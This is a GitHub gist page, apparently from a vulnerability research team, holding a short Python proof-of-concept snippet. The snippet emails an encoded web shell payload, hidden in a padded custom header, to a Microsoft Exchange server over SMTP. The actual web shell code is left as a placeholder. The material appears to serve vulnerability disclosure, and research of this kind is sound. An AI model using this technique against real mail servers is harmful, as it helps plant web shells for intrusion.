Created
August 16, 2021 14:40
-
-
Save zdi-team/d334bbd88efce031504d782558154413 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from_mail = 'attacker@exchange.local' | |
to_mail = 'orange@exchange.local' | |
payload = 'webshell code here...' | |
msg = MIMEText(None, _subtype='plain') | |
msg.set_payload('hi', 'utf-8') | |
msg['Subject'] = 'exploit' | |
msg['From'] = from_mail | |
msg['To'] = to_mail | |
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16) | |
msg = msg.as_string().replace('\n', '\r\n') | |
r = smtplib.SMTP('exchange.local', port=25) | |
r.sendmail(from_mail, to_mail, msg) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment